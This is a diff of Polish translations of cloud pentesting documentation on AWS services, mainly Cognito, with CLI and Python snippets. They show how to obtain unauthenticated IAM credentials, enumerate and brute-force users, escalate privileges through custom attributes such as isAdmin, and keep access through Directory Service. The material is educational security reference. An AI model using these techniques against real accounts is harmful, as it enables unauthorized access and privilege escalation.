bezpieczeństwa, takich jak finanse, opieka zdrowotna i rząd. Ogólnie rzecz biorąc, wysoki poziom bezpieczeństwa zapewniany przez HSM sprawia, że **bardzo trudno jest wydobyć surowe klucze z nich, a próba ich wydobycia jest często uważana za naruszenie bezpieczeństwa**. Jednak mogą istnieć **pewne scenariusze**, w których **surowy klucz mógłby zostać wydobyty** przez upoważniony personel w określonych celach, na przykład w przypadku procedury odzyskiwania kluczy. -### Enumeration +### Enumeracja ``` TODO ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 22ebfcee5..8f0ec8423 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,7 +4,7 @@ ## CodeBuild -AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest automatyzacja sekwencji kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do celów wdrożeniowych. Główną korzyścią oferowaną przez CodeBuild jest jego zdolność do uwolnienia użytkowników od konieczności provisionowania, zarządzania i skalowania serwerów budowlanych. Ta wygoda wynika z faktu, że sama usługa zarządza tymi zadaniami. Kluczowe funkcje AWS CodeBuild obejmują: +AWS **CodeBuild** jest uznawany za **w pełni zarządzaną usługę ciągłej integracji**. Głównym celem tej usługi jest automatyzacja sekwencji kompilacji kodu źródłowego, wykonywania testów i pakowania oprogramowania do celów wdrożeniowych. Główną korzyścią oferowaną przez CodeBuild jest jego zdolność do uwolnienia użytkowników od potrzeby provisionowania, zarządzania i skalowania serwerów budowlanych. Ta wygoda wynika z faktu, że sama usługa zarządza tymi zadaniami. Kluczowe funkcje AWS CodeBuild obejmują: 1. **Zarządzana usługa**: CodeBuild zarządza i skaluje serwery budowlane, uwalniając użytkowników od konserwacji serwerów. 2. **Ciągła integracja**: Integruje się z przepływem pracy rozwoju i wdrożenia, automatyzując fazy budowy i testowania procesu wydania oprogramowania. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c5c893918..2d35258e9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -9,11 +9,11 @@ Amazon Cognito jest wykorzystywany do **uwierzytelniania, autoryzacji i zarządz Centralnym elementem Amazon Cognito są dwa główne komponenty: 1. **User Pools**: To katalogi zaprojektowane dla użytkowników Twojej aplikacji, oferujące **funkcjonalności rejestracji i logowania**. -2. **Identity Pools**: Te pule są kluczowe w **autoryzacji użytkowników do dostępu do różnych usług AWS**. Nie biorą bezpośrednio udziału w procesie logowania ani rejestracji, ale są niezbędne do uzyskania dostępu do zasobów po uwierzytelnieniu. +2. **Identity Pools**: Te pule są kluczowe w **autoryzacji użytkowników do uzyskiwania dostępu do różnych usług AWS**. Nie są bezpośrednio zaangażowane w proces logowania lub rejestracji, ale są niezbędne do uzyskania dostępu do zasobów po uwierzytelnieniu. ### **User pools** -Aby dowiedzieć się, czym jest **Cognito User Pool check**: +Aby dowiedzieć się, czym jest **Cognito User Pool**, sprawdź: {{#ref}} cognito-user-pools.md @@ -21,7 +21,7 @@ cognito-user-pools.md ### **Identity pools** -Aby dowiedzieć się, czym jest **Cognito Identity Pool check**: +Aby dowiedzieć się, czym jest **Cognito Identity Pool**, sprawdź: {{#ref}} cognito-identity-pools.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 31383dcc0..e05e145e3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,7 +4,7 @@ ## Podstawowe informacje -Identity pools odgrywają kluczową rolę, umożliwiając użytkownikom **uzyskanie tymczasowych poświadczeń**. Poświadczenia te są niezbędne do uzyskania dostępu do różnych usług AWS, w tym między innymi Amazon S3 i DynamoDB. Ciekawą cechą identity pools jest ich wsparcie zarówno dla anonimowych użytkowników gości, jak i dla różnych dostawców tożsamości w celu uwierzytelnienia użytkowników. Obsługiwane dostawcy tożsamości obejmują: +Identity pools odgrywają kluczową rolę, umożliwiając użytkownikom **uzyskanie tymczasowych poświadczeń**. Poświadczenia te są niezbędne do uzyskania dostępu do różnych usług AWS, w tym między innymi Amazon S3 i DynamoDB. Cechą wyróżniającą identity pools jest ich wsparcie zarówno dla anonimowych użytkowników gości, jak i dla różnych dostawców tożsamości w celu uwierzytelnienia użytkowników. Obsługiwane dostawcy tożsamości to: - Amazon Cognito user pools - Opcje logowania społecznościowego, takie jak Facebook, Google, Login with Amazon i Sign in with Apple @@ -43,13 +43,13 @@ Ponadto, usługa **cognito-sync** to usługa, która pozwala na **zarządzanie i ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) i eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), framework do eksploatacji AWS, teraz zawiera moduły "cognito\_\_enum" i "cognito\_\_attack", które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z puli tożsamości, ról, które można przyjąć w tokenach id itp. -Aby uzyskać opis funkcji modułów, zobacz część 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Usage -Przykład użycia cognito\_\_attack do próby tworzenia użytkowników i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników: +Przykład użycia cognito\_\_attack do próby tworzenia użytkowników i wszystkich wektorów eskalacji uprawnień przeciwko danej puli tożsamości i klientowi puli użytkowników: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients @@ -69,18 +69,18 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -Dla uzyskania dodatkowych informacji sprawdź https://github.com/padok-team/cognito-scanner +Aby uzyskać więcej informacji, sprawdź https://github.com/padok-team/cognito-scanner ## Uzyskiwanie dostępu do ról IAM ### Nieautoryzowany -Jedyną rzeczą, którą atakujący musi wiedzieć, aby **uzyskać dane uwierzytelniające AWS** w aplikacji Cognito jako nieautoryzowany użytkownik, jest **ID puli tożsamości**, a to **ID musi być zakodowane na stałe** w **aplikacji** webowej/mobilnej, aby mogła z niego korzystać. ID wygląda tak: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nie można go złamać metodą brute force). +Jedyną rzeczą, którą atakujący musi wiedzieć, aby **uzyskać poświadczenia AWS** w aplikacji Cognito jako nieautoryzowany użytkownik, jest **ID puli tożsamości**, a to **ID musi być zakodowane na stałe** w **aplikacji** webowej/mobilnej, aby mogła z niego korzystać. ID wygląda tak: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nie można go złamać metodą brute force). > [!TIP] > **Nieautoryzowana rola IAM Cognito utworzona przez** domyślnie nazywa się `Cognito_Unauth_Role` -Jeśli znajdziesz ID puli tożsamości zakodowane na stałe i pozwala na dostęp nieautoryzowanym użytkownikom, możesz uzyskać dane uwierzytelniające AWS za pomocą: +Jeśli znajdziesz ID puli tożsamości zakodowane na stałe i pozwala na dostęp dla nieautoryzowanych użytkowników, możesz uzyskać poświadczenia AWS za pomocą: ```python import requests @@ -112,7 +112,7 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Zauważ, że domyślnie nieautoryzowany użytkownik cognito **NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały przypisane za pomocą polityki**. Sprawdź następującą sekcję. +> Zauważ, że domyślnie nieautoryzowany użytkownik cognito **NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały one przypisane za pomocą polityki**. Sprawdź następującą sekcję. ### Ulepszony vs Podstawowy przepływ uwierzytelniania @@ -135,7 +135,7 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `Wystąpił błąd (InvalidParameterException) podczas wywoływania operacji GetOpenIdToken: Podstawowy (klasyczny) przepływ nie jest włączony, proszę użyć ulepszonego przepływu.` -Mając zestaw poświadczeń IAM, powinieneś sprawdzić [jakie masz uprawnienia](../../#whoami) i spróbować [podnieść uprawnienia](../../aws-privilege-escalation/). +Mając zestaw poświadczeń IAM, powinieneś sprawdzić [jakie masz uprawnienia](../../#whoami) i spróbować [eskalować uprawnienia](../../aws-privilege-escalation/). ### Uwierzytelniony diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index f57c27942..8dc517dca 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -10,7 +10,7 @@ User pools oferują: - Usługi rejestracji i logowania. - Wbudowany, dostosowywalny interfejs użytkownika do logowania użytkowników. -- Logowanie społecznościowe za pomocą Facebooka, Google, Logowanie z Amazon i Logowanie z Apple, oraz przez dostawców tożsamości SAML i OIDC z Twojego user pool. +- Logowanie społecznościowe za pomocą Facebooka, Google, Logowanie z Amazon oraz Logowanie z Apple, a także przez dostawców tożsamości SAML i OIDC z Twojego user pool. - Zarządzanie katalogiem użytkowników i profilami użytkowników. - Funkcje bezpieczeństwa, takie jak uwierzytelnianie wieloskładnikowe (MFA), kontrole dla skompromitowanych poświadczeń, ochrona przed przejęciem konta oraz weryfikacja telefonu i e-maila. - Dostosowane przepływy pracy i migracja użytkowników za pomocą wyzwalaczy AWS Lambda. @@ -19,13 +19,13 @@ User pools oferują: ### Potencjalne ataki -- **Rejestracja**: Domyślnie użytkownik może zarejestrować się samodzielnie, więc może stworzyć konto dla siebie. -- **Enumeracja użytkowników**: Funkcjonalność rejestracji może być użyta do znalezienia nazw użytkowników, które już istnieją. Ta informacja może być przydatna do ataku brute-force. -- **Brute-force logowania**: W sekcji [**Uwierzytelnianie**](cognito-user-pools.md#authentication) masz wszystkie **metody**, które użytkownik ma do **logowania**, możesz spróbować przeprowadzić atak brute-force, aby **znaleźć ważne poświadczenia**. +- **Rejestracja**: Domyślnie użytkownik może zarejestrować się samodzielnie, więc mógłby stworzyć konto dla siebie. +- **Enumeracja użytkowników**: Funkcjonalność rejestracji może być używana do znajdowania nazw użytkowników, które już istnieją. Ta informacja może być przydatna do ataku brute-force. +- **Brute-force logowania**: W sekcji [**Uwierzytelnianie**](cognito-user-pools.md#authentication) masz wszystkie **metody**, które użytkownik ma do **logowania**, możesz spróbować je brutalnie przetestować, aby **znaleźć ważne poświadczenia**. ### Narzędzia do pentestingu -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), teraz zawiera moduły `cognito__enum` i `cognito__attack`, które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie dla MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń z puli tożsamości, ról, które można przyjąć w tokenach id itp.\ +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), teraz zawiera moduły `cognito__enum` i `cognito__attack`, które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie dla MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp.\ Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Aby uzyskać instrukcje instalacji, zobacz główną stronę [Pacu](https://github.com/RhinoSecurityLabs/pacu). ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i oracle konta. Sprawdź [this link](https://github.com/padok-team/cognito-scanner) po więcej informacji. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) to narzędzie CLI w Pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i oracle kont. Sprawdź [ten link](https://github.com/padok-team/cognito-scanner) po więcej informacji. ```bash # Install pip install cognito-scanner @@ -70,7 +70,7 @@ Możesz również użyć tej funkcjonalności do **enumeracji istniejących uży An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` > [!NOTE] -> Zauważ w poprzednim poleceniu, jak **niestandardowe atrybuty zaczynają się od "custom:"**.\ +> Zauważ w poprzedniej komendzie, jak **niestandardowe atrybuty zaczynają się od "custom:"**.\ > Również wiedz, że podczas rejestracji **nie możesz tworzyć nowych niestandardowych atrybutów dla użytkownika**. Możesz tylko przypisać wartość do **domyślnych atrybutów** (nawet jeśli nie są wymagane) oraz **określonych niestandardowych atrybutów**. Lub po prostu, aby sprawdzić, czy identyfikator klienta istnieje. Oto błąd, jeśli identyfikator klienta nie istnieje: @@ -79,13 +79,13 @@ An error occurred (ResourceNotFoundException) when calling the SignUp operation: ``` #### Jeśli tylko administrator może rejestrować użytkowników -Znajdziesz ten błąd i nie będziesz w stanie zarejestrować ani wyenumerować użytkowników: +Znajdziesz ten błąd i nie będziesz mógł zarejestrować ani enumerować użytkowników: ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` ### Weryfikacja rejestracji -Cognito pozwala na **weryfikację nowego użytkownika poprzez potwierdzenie jego adresu e-mail lub numeru telefonu**. Dlatego podczas tworzenia użytkownika zazwyczaj będziesz musiał podać przynajmniej nazwę użytkownika i hasło oraz **adres e-mail i/lub numer telefonu**. Po prostu ustaw jeden **który kontrolujesz**, aby otrzymać kod do **weryfikacji swojego** nowo utworzonego **konta** użytkownika w ten sposób: +Cognito pozwala na **weryfikację nowego użytkownika poprzez potwierdzenie jego adresu e-mail lub numeru telefonu**. Dlatego podczas tworzenia użytkownika zazwyczaj będziesz musiał podać przynajmniej nazwę użytkownika i hasło oraz **adres e-mail i/lub numer telefonu**. Po prostu ustaw jeden **który kontrolujesz**, aby otrzymać kod do **weryfikacji** nowo utworzonego **konta** użytkownika w ten sposób: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ @@ -106,17 +106,17 @@ aws cognito-idp update-user-attributes \ #### Privesc atrybutów niestandardowych > [!CAUTION] -> Możesz znaleźć **atrybuty niestandardowe** używane (takie jak `isAdmin`), ponieważ domyślnie możesz **zmieniać wartości swoich własnych atrybutów**, możesz być w stanie **eskalować uprawnienia**, zmieniając wartość samodzielnie! +> Możesz znaleźć **atrybuty niestandardowe** używane (takie jak `isAdmin`), ponieważ domyślnie możesz **zmieniać wartości swoich własnych atrybutów**, co może pozwolić ci na **eskalację uprawnień** poprzez zmianę wartości samodzielnie! #### Privesc modyfikacji e-maila/nazwy użytkownika Możesz użyć tego do **modyfikacji e-maila i numeru telefonu** użytkownika, ale wtedy, nawet jeśli konto pozostaje zweryfikowane, te atrybuty są **ustawione w statusie nieweryfikowanym** (musisz je zweryfikować ponownie). > [!WARNING] -> **Nie będziesz mógł zalogować się za pomocą e-maila lub numeru telefonu**, dopóki ich nie zweryfikujesz, ale będziesz **mógł zalogować się za pomocą nazwy użytkownika**.\ -> Zauważ, że nawet jeśli e-mail został zmodyfikowany i niezweryfikowany, pojawi się w tokenie ID w **polu** **`email`**, a pole **`email_verified`** będzie **fałszywe**, ale jeśli aplikacja **nie sprawdza tego, możesz podszyć się pod innych użytkowników**. +> **Nie będziesz mógł zalogować się za pomocą e-maila lub numeru telefonu** dopóki ich nie zweryfikujesz, ale będziesz **mógł zalogować się za pomocą nazwy użytkownika**.\ +> Zauważ, że nawet jeśli e-mail został zmodyfikowany i niezweryfikowany, pojawi się w tokenie ID w **polu** **`email`** a pole **`email_verified`** będzie **fałszywe**, ale jeśli aplikacja **nie sprawdza tego, możesz podszyć się pod innych użytkowników**. -> Ponadto, zauważ, że możesz wprowadzić cokolwiek w **polu** **`name`**, po prostu modyfikując **atrybut nazwy**. Jeśli aplikacja **sprawdza** **to** pole z jakiegoś powodu **zamiast `email`** (lub jakiegokolwiek innego atrybutu), możesz być w stanie **podszyć się pod innych użytkowników**. +> Ponadto, zauważ, że możesz wpisać cokolwiek w pole **`name`** po prostu modyfikując **atrybut nazwy**. Jeśli aplikacja **sprawdza** to pole z jakiegoś powodu **zamiast `email`** (lub jakiegokolwiek innego atrybutu), możesz być w stanie **podszyć się pod innych użytkowników**. W każdym razie, jeśli z jakiegoś powodu zmieniłeś swój e-mail na nowy, do którego masz dostęp, możesz **potwierdzić e-mail za pomocą kodu, który otrzymałeś na ten adres e-mail**: ```bash @@ -132,7 +132,7 @@ Użyj **`phone_number`** zamiast **`email`**, aby zmienić/weryfikować **nowy n ### Przywracanie/Zmiana Hasła -Możliwe jest odzyskanie hasła, znając **nazwę użytkownika** (lub email lub telefon jest akceptowany), a dostęp do niego będzie możliwy, ponieważ kod zostanie tam wysłany: +Możliwe jest odzyskanie hasła, znając **nazwę użytkownika** (lub akceptowany jest email lub telefon), a dostęp do niego będzie możliwy, ponieważ kod zostanie tam wysłany: ```bash aws cognito-idp forgot-password \ --client-id \ @@ -162,7 +162,7 @@ Pula użytkowników obsługuje **różne sposoby uwierzytelniania**. Jeśli masz Ponadto, gdy użytkownik jest uwierzytelniony w Puli, **przyznawane są 3 typy tokenów**: **Token ID**, **Token dostępu** i **Token odświeżania**. - [**Token ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Zawiera roszczenia dotyczące **tożsamości uwierzytelnionego użytkownika**, takie jak `name`, `email` i `phone_number`. Token ID może być również używany do **uwierzytelniania użytkowników w serwerach zasobów lub aplikacjach serwerowych**. Musisz **zweryfikować** **podpis** tokena ID, zanim będziesz mógł zaufać jakimkolwiek roszczeniom wewnątrz tokena ID, jeśli używasz go w aplikacjach zewnętrznych. -- Token ID to token, który **zawiera wartości atrybutów użytkownika**, nawet tych niestandardowych. +- Token ID to token, który **zawiera wartości atrybutów użytkownika**, nawet te niestandardowe. - [**Token dostępu**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Zawiera roszczenia dotyczące uwierzytelnionego użytkownika, listę **grup użytkownika oraz listę zakresów**. Celem tokena dostępu jest **autoryzacja operacji API** w kontekście użytkownika w puli użytkowników. Na przykład, możesz użyć tokena dostępu, aby **przyznać swojemu użytkownikowi dostęp** do dodawania, zmieniania lub usuwania atrybutów użytkownika. - [**Token odświeżania**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Dzięki tokenom odświeżania możesz **uzyskać nowe tokeny ID i tokeny dostępu** dla użytkownika, dopóki **token odświeżania jest ważny**. Domyślnie token odświeżania **wygasa 30 dni po** zalogowaniu się użytkownika do puli użytkowników. Gdy tworzysz aplikację dla swojej puli użytkowników, możesz ustawić czas wygaśnięcia tokena odświeżania aplikacji na **dowolną wartość między 60 minutami a 10 latami**. @@ -246,7 +246,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) Ta metoda to kolejny prosty i **tradycyjny proces uwierzytelniania użytkownika i hasła**. Zaleca się **migrację tradycyjnej** metody uwierzytelniania **do Cognito** i **zaleca się** następnie **wyłączenie** jej oraz **użycie** metody **ALLOW_USER_SRP_AUTH** zamiast (ponieważ ta nigdy nie przesyła hasła przez sieć).\ Ta **metoda NIE jest włączona** domyślnie. -Główna **różnica** w porównaniu do **poprzedniej metody uwierzytelniania** w kodzie polega na tym, że **nie musisz znać identyfikatora puli użytkowników** i że **nie potrzebujesz dodatkowych uprawnień** w puli użytkowników Cognito. +Główna **różnica** w porównaniu do **poprzedniej metody uwierzytelniania** w kodzie polega na tym, że **nie musisz znać identyfikatora puli użytkowników** i że **nie potrzebujesz dodatkowych uprawnień** w Cognito User Pool. Aby **zalogować się**, musisz znać: @@ -256,7 +256,7 @@ Aby **zalogować się**, musisz znać: - tajny klucz klienta (tylko jeśli aplikacja jest skonfigurowana do używania tajnego klucza) > [!NOTE] -> Aby **móc się zalogować tą metodą**, ta aplikacja musi zezwalać na logowanie z ALLOW_USER_PASSWORD_AUTH. +> Aby **móc zalogować się tą metodą**, ta aplikacja musi zezwalać na logowanie z ALLOW_USER_PASSWORD_AUTH. ```python aws cognito-idp initiate-auth --client-id \ --auth-flow USER_PASSWORD_AUTH --region \ @@ -323,7 +323,7 @@ Aby **zalogować się**, musisz znać:
-Kod do logowania +Code to login ```python from warrant.aws_srp import AWSSRP import os @@ -408,7 +408,7 @@ Ponadto, **użytkownicy** mogą być przypisani do **więcej niż 1 grupy z ró Zauważ, że nawet jeśli grupa znajduje się w grupie z przypisaną rolą IAM, aby móc uzyskać dostęp do poświadczeń IAM tej grupy, konieczne jest, aby **User Pool był zaufany przez Identity Pool** (i znał szczegóły tego Identity Pool). -Innym wymogiem, aby uzyskać **rolę IAM wskazaną w IdToken**, gdy użytkownik jest uwierzytelniony w User Pool (`aws cognito-idp initiate-auth...`), jest to, że **dostawca uwierzytelniania Identity Provider** musi wskazać, że **rola musi być wybrana z tokena.** +Innym wymogiem, aby uzyskać **rolę IAM wskazaną w IdToken**, gdy użytkownik jest uwierzytelniony w User Pool (`aws cognito-idp initiate-auth...`), jest to, że **dostawca uwierzytelniania Identity Provider** musi wskazać, że **rola musi być wybierana z tokena.**
@@ -418,7 +418,7 @@ Jednak jeśli **domyślna opcja** jest tą **skonfigurowaną** (`use default rol An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> Zauważ, że rola przypisana do **User Pool Group** musi być **dostępna dla Identity Provider**, który **ufa User Pool** (ponieważ **poświadczenia sesji roli IAM będą uzyskiwane z niej**). +> Zauważ, że rola przypisana do **User Pool Group** musi być **dostępna dla Dostawcy Tożsamości**, który **ufa User Pool** (ponieważ **poświadczenia sesji roli IAM będą uzyskiwane z niego**). ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 830c3d78b..da311aeb8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -35,7 +35,7 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### Logowanie Zauważ, że jeśli **opis** katalogu zawierał **domenę** w polu **`AccessUrl`**, to dlatego, że **użytkownik** prawdopodobnie może **zalogować się** za pomocą swoich **poświadczeń AD** w niektórych **usługach AWS:** @@ -45,29 +45,29 @@ Zauważ, że jeśli **opis** katalogu zawierał **domenę** w polu **`AccessUrl` - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### Eskalacja uprawnień {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Utrzymywanie dostępu -### Using an AD user +### Używając użytkownika AD Użytkownik **AD** może otrzymać **dostęp do konsoli zarządzania AWS** poprzez rolę do przyjęcia. **Domyślna nazwa użytkownika to Admin** i możliwe jest **zmiana hasła** z konsoli AWS. -Dlatego możliwe jest **zmiana hasła Admina**, **utworzenie nowego użytkownika** lub **zmiana hasła** użytkownika i przyznanie temu użytkownikowi roli, aby utrzymać dostęp.\ -Możliwe jest również **dodanie użytkownika do grupy w AD** i **przyznanie tej grupie AD dostępu do roli** (aby uczynić tę persistencję bardziej ukrytą). +Dlatego możliwe jest **zmiana hasła Admina**, **utworzenie nowego użytkownika** lub **zmiana hasła** użytkownika i nadanie temu użytkownikowi roli, aby utrzymać dostęp.\ +Możliwe jest również **dodanie użytkownika do grupy w AD** i **nadanie tej grupie AD dostępu do roli** (aby uczynić tę persistencję bardziej ukrytą). -### Sharing AD (from victim to attacker) +### Udostępnianie AD (od ofiary do atakującego) -Możliwe jest udostępnienie środowiska AD z ofiary do atakującego. W ten sposób atakujący będzie mógł kontynuować dostęp do środowiska AD.\ +Możliwe jest udostępnienie środowiska AD od ofiary do atakującego. W ten sposób atakujący będzie mógł kontynuować dostęp do środowiska AD.\ Jednakże wiąże się to z udostępnieniem zarządzanego AD oraz utworzeniem połączenia VPC peering. Możesz znaleźć przewodnik tutaj: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~Udostępnianie AD (od atakującego do ofiary)~~ Nie wygląda na to, aby możliwe było przyznanie dostępu do AWS użytkownikom z innego środowiska AD do jednego konta AWS. @@ -77,7 +77,7 @@ Amazon Web Services (AWS) WorkDocs to oparta na chmurze **usługa przechowywania AWS WorkDocs oferuje interfejs oparty na sieci, który umożliwia użytkownikom przesyłanie, uzyskiwanie dostępu i zarządzanie swoimi plikami i dokumentami. Oferuje również funkcje takie jak kontrola wersji, współpraca w czasie rzeczywistym oraz integracja z innymi usługami AWS i narzędziami firm trzecich. -### Enumeration +### Enumeracja ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index 7463f69ca..f26b8bda1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -Amazon DocumentDB, oferujący zgodność z MongoDB, jest przedstawiany jako **szybka, niezawodna i w pełni zarządzana usługa bazy danych**. Zaprojektowany z myślą o prostocie wdrożenia, działania i skalowalności, umożliwia **bezproblemową migrację i działanie baz danych zgodnych z MongoDB w chmurze**. Użytkownicy mogą korzystać z tej usługi, aby uruchamiać swój istniejący kod aplikacji i wykorzystywać znane sterowniki i narzędzia, zapewniając płynne przejście i działanie podobne do pracy z MongoDB. +Amazon DocumentDB, oferujący zgodność z MongoDB, jest przedstawiany jako **szybka, niezawodna i w pełni zarządzana usługa bazy danych**. Zaprojektowany z myślą o prostocie wdrożenia, obsługi i skalowalności, umożliwia **bezproblemową migrację i działanie baz danych zgodnych z MongoDB w chmurze**. Użytkownicy mogą korzystać z tej usługi, aby uruchamiać swój istniejący kod aplikacji i wykorzystywać znane sterowniki i narzędzia, co zapewnia płynne przejście i działanie podobne do pracy z MongoDB. ### Enumeracja ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index e03de2310..68c4ba7ea 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -12,13 +12,13 @@ W kontekście DynamoDB, zamiast zakładać tradycyjną bazę danych, **tworzone ### Szyfrowanie -Domyślnie, DynamoDB używa klucza KMS, który **należy do Amazon DynamoDB,** a nie nawet do zarządzanego klucza AWS, który przynajmniej należy do twojego konta. +Domyślnie, DynamoDB używa klucza KMS, który \*\*należy do Amazon DynamoDB,\*\* a nie nawet do zarządzanego klucza AWS, który przynajmniej należy do twojego konta.
